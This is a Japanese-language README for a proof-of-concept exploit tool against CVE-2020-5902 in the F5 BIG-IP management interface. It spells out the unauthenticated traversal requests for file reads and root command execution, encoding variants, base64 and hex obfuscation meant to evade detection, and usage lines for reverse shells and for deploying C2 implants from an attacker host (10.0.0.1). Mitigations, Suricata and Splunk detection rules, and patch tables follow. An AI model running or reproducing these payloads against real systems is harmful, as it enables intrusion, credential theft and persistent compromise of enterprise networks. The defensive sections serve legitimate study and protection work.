
F5 BIG-IPは、企業環境で広く使用されているアプリケーションデリバリおよびセキュリティプラットフォームです。CVE-2020-5902は、TMUIにおける重大な脆弱性であり、未修正のバージョンでは、不正アクセスやリモートコード実行を許す可能性があり、アップデートと継続的な脆弱性管理の必要性を強調しています。
F5 BIG-IPのTraffic Management User Interface (TMUI) における致命的なパストラバーサル/リモートコード実行脆弱性の概念実証エクスプロイトです。
⚠️ 許可を得たペネトレーションテストおよびセキュリティ研究専用です。 あなたが所有していない、または書面によるテスト許可を得ていないシステムに対する不正使用は 違法 です。 本ツールの誤用について作者は 一切の責任を負いません。
F5 BIG-IP は、Fortune 500企業、金融機関、医療機関、政府機関の大半で導入されている多目的ネットワークアプライアンス(ロードバランサー、WAF、アプリケーションデリバリコントローラー)のファミリーです。Traffic Management User Interface (TMUI) — 構成ユーティリティとも呼ばれます — は、ポート443(または8443)でアクセス可能なWebベースの管理ポータルです。
2020年7月、F5は CVE-2020-5902 を公開しました。これは、TMUIにおける Critical(CVSS 9.8) の非認証パストラバーサル脆弱性であり、リモートの非認証攻撃者に以下を可能にします:
公開から 数日以内 に、国家支援攻撃者を含む大規模な悪用が観測されました。
TMUIは Apache Tomcat 上に構築されており、保護されたリソースに対する認証を強制するサーブレットフィルタを使用しています。脆弱性は、Tomcatが セミコロン区切りのパスセグメント(;)を解析する方法にあります。
次のリクエストは認証を完全にバイパスします:
GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
なぜ動作するか:
/tmui/login.jsp(; の前で終わる)と見なします — これは公開ログインページです — そしてリクエストを 許可 します。/..;/ をディスパッチ前に パストラバーサル(/../)として処理します。fileRead.jsp サーブレットに 認証なしで ルーティングされます。┌──────────────────────────────────────────────────────────────────┐
│ クライアントリクエスト │
│ GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp │
└────────────────────────────┬─────────────────────────────────────┘
│
┌───────────────▼───────────────┐
│ Tomcatサーブレットフィルタ │
│ 見えるパス: /tmui/login.jsp ✓ │
│ (公開エンドポイント → 許可) │
└───────────────┬───────────────┘
│
┌───────────────▼───────────────┐
│ Tomcat URLリゾルバ │
│ 解決: /..;/ → /../ │
│ 最終パス: /tmui/locallb/ │
│ workspace/fileRead.jsp ← 🔓 │
└───────────────┬───────────────┘
│
┌───────────────▼───────────────┐
│ fileRead.jsp (認証チェックなし)│
│ ルートで任意のファイルを読み取り│
└───────────────────────────────┘
tmshCmd.jsp サーブレット(同じトラバーサルで到達可能)は、command および utilCmdArgs パラメータを直接 tmsh(BIG-IP管理シェル)に渡し、run util bash -c '...' をラップします。これにより、非認証の ルートレベルのOSコマンド実行 が可能になります:
POST /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp
command=run+util+bash+-c+'id'&utilCmdArgs=-c+'id'
フェーズ 1: 偵察
└─ TCPバナー取得(HTTP/TLSフィンガープリント)
└─ SSL証明書分析
└─ HTTPヘッダーフィンガープリント(Server、X-Powered-By、Set-Cookie)
└─ /etc/f5-releaseからのBIG-IPバージョン推定
フェーズ 2: 脆弱性確認
└─ 6種類のトラバーサルエンコーディングバリアントを反復
└─ 既知の読み取り可能な4つのセンチネルファイルに対してテスト
└─ 出力が既知の指標(root:x:0:0、BIG-IPなど)と一致するか確認
フェーズ 3: エクスプロイト
├─ ベクトルA: tmshCmd.jsp(プライマリRCE)
│ └─ base64/hexエンコードガジェットでコマンドを難読化
├─ ベクトルB: fileRead.jsp + fileNameパラメータへのコマンドインジェクション
│ └─ fileNameパラメータにOSコマンドを注入
└─ ベクトルC: ログポイズニング(User-Agentインジェクション → access_log読み取り)
フェーズ 4: エクスプロイト後(オプション)
├─ インタラクティブシェル(コマンドREPL)
├─ リバースシェル(4種類のワンライナーを同時実行)
├─ LFIブルートフォース(30の機密パス、並列実行)
└─ C2インプラント展開(Sliver / Metasploit / カスタム)
このツールは実行ごとに2つの難読化ガジェットのいずれかを適用し、静的シグネチャ検出を困難にします:
# ガジェット 1 — Base64エンコード/デコードパイプライン
bash -c {echo,aWQ=}|{base64,-d}|bash
# ガジェット 2 — Hexバイトprintf評価
eval "$(printf '\x69\x64')"
BIG-IQ、BIG-IQ Centralized Management、F5OS、Traffix SDCは、この特定のCVEの 影響を受けません。
!revshell、!c2、!read、!brute コマンドgit clone https://github.com/DevRafaelprogrammer/F5-BIG-IP.git
cd F5-BIG-IP
pip install requests pycryptodome urllib3
要件: Python 3.10+
python CVE-2020-5902.py [-h] [--port PORT] [--proxy URL] [--no-recon]
[--cmd CMD] [--shell] [--lfi-brute]
[--revshell LHOST LPORT]
[--c2-url URL] [--c2-type TYPE] [--c2-args ARGS]
target
# 1. 脆弱性確認のみ
python CVE-2020-5902.py 192.168.1.100
# 2. カスタムポート + 単一コマンド実行
python CVE-2020-5902.py 192.168.1.100 --port 8443 --cmd "id && uname -a"
# 3. インタラクティブシェル
python CVE-2020-5902.py 192.168.1.100 --shell
# 4. LFIブルートフォース(30の機密パスを読み取り)
python CVE-2020-5902.py 192.168.1.100 --lfi-brute
# 5. リバースシェルコールバック
python CVE-2020-5902.py 192.168.1.100 --revshell 10.0.0.1 4444
# 6. C2インプラントの展開(Sliverの例)
python CVE-2020-5902.py 192.168.1.100 \
--c2-url http://10.0.0.1:8000/implant \
--c2-type linux
# 7. Burp Suite経由でトラフィック検査
python CVE-2020-5902.py 192.168.1.100 --proxy http://127.0.0.1:8080
--shell モードでは、以下の特殊コマンドが使用できます:
最も効果的な軽減策は、管理インターフェースが 信頼できないネットワークから決して到達可能にならない ようにすることです:
# BIG-IP: 管理アクセスを専用VLAN/IP範囲に制限
tmsh modify sys httpd allow replace-all-with { 10.0.0.0/8 192.168.0.0/16 }
tmsh save sys config
または、BIG-IP Self IP構成から、管理ポートに外部ルートがないことを確認します。
F5はトラバーサルパターンをブロックするApache RewriteRule を追加する軽減スクリプトを公開しました:
# /etc/httpd/conf.d/CVE-2020-5902.conf
RewriteEngine On
RewriteCond %{THE_REQUEST} "([^\ ]+)\x3b" [NC]
RewriteRule ^ - [F,L]
参考文献: K52145254 — 軽減手順
決定的な修正は、BIG-IPをパッチ適用済みリリースにアップグレードすることです(影響を受けるバージョン の表を参照)。F5はサーブレットフィルタのロジックを修正し、認証施行の前にセミコロン区切りのパスセグメントを正しく解析するようにしました。
┌────────────────────────────────────────────────────────────────┐
│ 推奨アーキテクチャ │
│ │
│ インターネット ──────► ファイアウォール ──────► DMZ/本番環境 │
│ │ │
│ │ (すべての管理ポートへのトラフィックを拒否)│
│ │ │
│ ジャンプホスト ──────► BIG-IP TMUI (port 443)│
│ (MFA + VPN) (管理VLANのみ) │
└────────────────────────────────────────────────────────────────┘
主要な原則:
Self IP ポートロックダウンは Allow None または Allow Defaults に設定すべきですBIG-IP管理の前にWAFがある場合(まれですが、一部のアーキテクチャでは可能)、以下のルールを追加します:
; を含むリクエストをブロック..; または %3b が一致するリクエストをブロック/tmui/locallb/workspace/ へのリクエストをブロック[ ] BIG-IPを修正バージョンにパッチ適用
[ ] TMUIがインターネットに露出していない(Shodan/Censysで確認)
[ ] 管理VLANを本番から分離
[ ] Self IPポートロックダウンを構成(Allow None または Allow Defaults)
[ ] 管理アクセスにMFAを強制
[ ] 資産管理システムにBIG-IPソフトウェアインベントリを登録
[ ] 自動脆弱性スキャン(Tenable/Qualys)にBIG-IPを含める
[ ] SIEMへのログ転送を構成(access_log、audit.log)
[ ] ネットワークセグメンテーション:侵害されたBIG-IPがドメインコントローラに到達できないようにする
[ ] インシデント対応プレイブックにネットワークデバイス侵害シナリオを含める
# パストラバーサル試行の検出(セミコロンバイパス)
alert http any any -> $HOME_NET 443 (
msg:"CVE-2020-5902 F5 BIG-IP TMUI パストラバーサル";
flow:to_server,established;
content:"tmui"; http_uri; nocase;
content:"..;"; http_uri;
content:"workspace"; http_uri; nocase;
reference:cve,2020-5902;
sid:9000001; rev:1;
)
# エンコードされたセミコロンバリアントの検出
alert http any any -> $HOME_NET 443 (
msg:"CVE-2020-5902 F5 BIG-IP TMUI パストラバーサル(エンコード)";
flow:to_server,established;
content:"tmui"; http_uri; nocase;
content:"%3b"; http_uri; nocase;
content:"fileRead"; http_uri; nocase;
reference:cve,2020-5902;
sid:9000002; rev:1;
)
# BIG-IPアクセスログでトラバーサル試行をハント
grep -iE "(\.\.;|%2e%2e|%252e|\.\.%3b|%2e%2e%3b)" /var/log/httpd/access_log
# 脆弱なエンドポイントへの成功したヒットを探す
grep -iE "(fileRead\.jsp|tmshCmd\.jsp|workspace)" /var/log/httpd/access_log | \
grep -v "^10\.\|^192\.168\.\|^172\.1[6-9]\.\|^172\.2[0-9]\.\|^172\.3[0-1]\."
index=network sourcetype=f5:bigip:access
(uri_path="*..;*" OR uri_path="*%3b*" OR uri_path="*%2e%2e*")
(uri_path="*workspace*" OR uri_path="*fileRead*" OR uri_path="*tmshCmd*")
| eval risk=if(status=200, "HIGH", "MEDIUM")
| stats count by src_ip, uri_path, status, risk
| sort -count
URLパターン:
/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp
/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp
/tmui/login.jsp/%2e%2e;/tmui/locallb/workspace/fileRead.jsp
/tmui/login.jsp/..%3b/tmui/locallb/workspace/fileRead.jsp
一般的な攻撃者の標的(アクセスされたファイル):
/etc/passwd — 認証情報収集
/config/bigip.conf — VPN/ルーティング設定の流出
/config/bigip.license — ライセンスキー窃取
/config/bigip_user.conf — ローカル管理者アカウントの列挙
/root/.bash_history — 過去のコマンド偵察
http.title:"BIG-IP" port:443このツールは 教育目的 および 許可されたセキュリティ評価 のためだけに提供されています。以下の用途を意図しています:
明示的な書面による許可なくこのツールをシステムに対して使用することは、コンピュータ不正アクセス法(CFAA)、英国コンピュータ不正使用法、ブラジルの Lei Nº 12.737/2012(Lei Carolina Dieckmann)、および世界中のほとんどの法域の同等の法律に基づく犯罪行為です。
このリポジトリの作者および貢献者は、本ソフトウェアの誤使用から生じるいかなる損害、法的結果、その他の危害についても 一切の責任を負いません。
セキュリティ研究コミュニティのために作成されました。 システムにパッチを当ててください。ネットワークを保護してください。
| バリアント | ペイロード |
|---|
| 標準 | tmui/login.jsp/..;/tmui/... |
| セミコロンエンコード | tmui/login.jsp/..%3b/tmui/... |
| ダブルURLエンコード | tmui%2flogin.jsp%2f..%3b%2ftmui%2f... |
| Unicodeドットドット | tmui/login.jsp/%2e%2e;/tmui/... |
| 大文字小文字変更 | TMUI/login.jsp/..;/tmui/... |
| ディレクトリ混乱 | tmui/login.jsp/..;/tmui/locallb/workspace/../workspace/... |
| BIG-IPブランチ | 脆弱な範囲 | 修正バージョン |
|---|
| 15.x | < 15.1.0.4 | ≥ 15.1.0.4 |
| 14.x | < 14.1.2.6 | ≥ 14.1.2.6 |
| 13.x | < 13.1.3.4 | ≥ 13.1.3.4 |
| 12.x | < 12.1.5.2 | ≥ 12.1.5.2 |
| 11.x | < 11.6.5.2 | ≥ 11.6.5.2 |
| コマンド | 説明 |
|---|
!revshell <lhost> <lport> | 4種類のリバースシェルバリアントを同時に発射 |
!c2 <url> <type> [args] | C2インプラントをダウンロードして実行 |
!read <path> | LFI経由で任意のファイルを読み取り |
!brute | 30の機密パスをブルートフォース |
!exit | セッションを終了 |
<任意のOSコマンド> | RCE経由で実行し出力を表示 |
| 日付 | イベント |
|---|
| 2020-06-30 | F5が非公開で通知を受ける |
| 2020-07-01 | F5がアドバイザリ(K52145254)とパッチを公開 |
| 2020-07-03 | 公開PoCがTwitterでリリースされる |
| 2020-07-04 | 複数の脅威インテリジェンス企業により大規模な悪用が観測される |
| 2020-07-06 | CISAが緊急指令20-03を発行し、連邦政府機関へのパッチ適用を義務付け |
| 2020-07-09 | 国家支援攻撃者(APT)が実際の環境での悪用を確認 |
| 2020-07-15 | 約8,000のBIG-IPインスタンスが依然として未パッチ(Shodan) |
| 2020-08-xx | ランサムウェアグループが未パッチのBIG-IPデバイスを標的にし始める |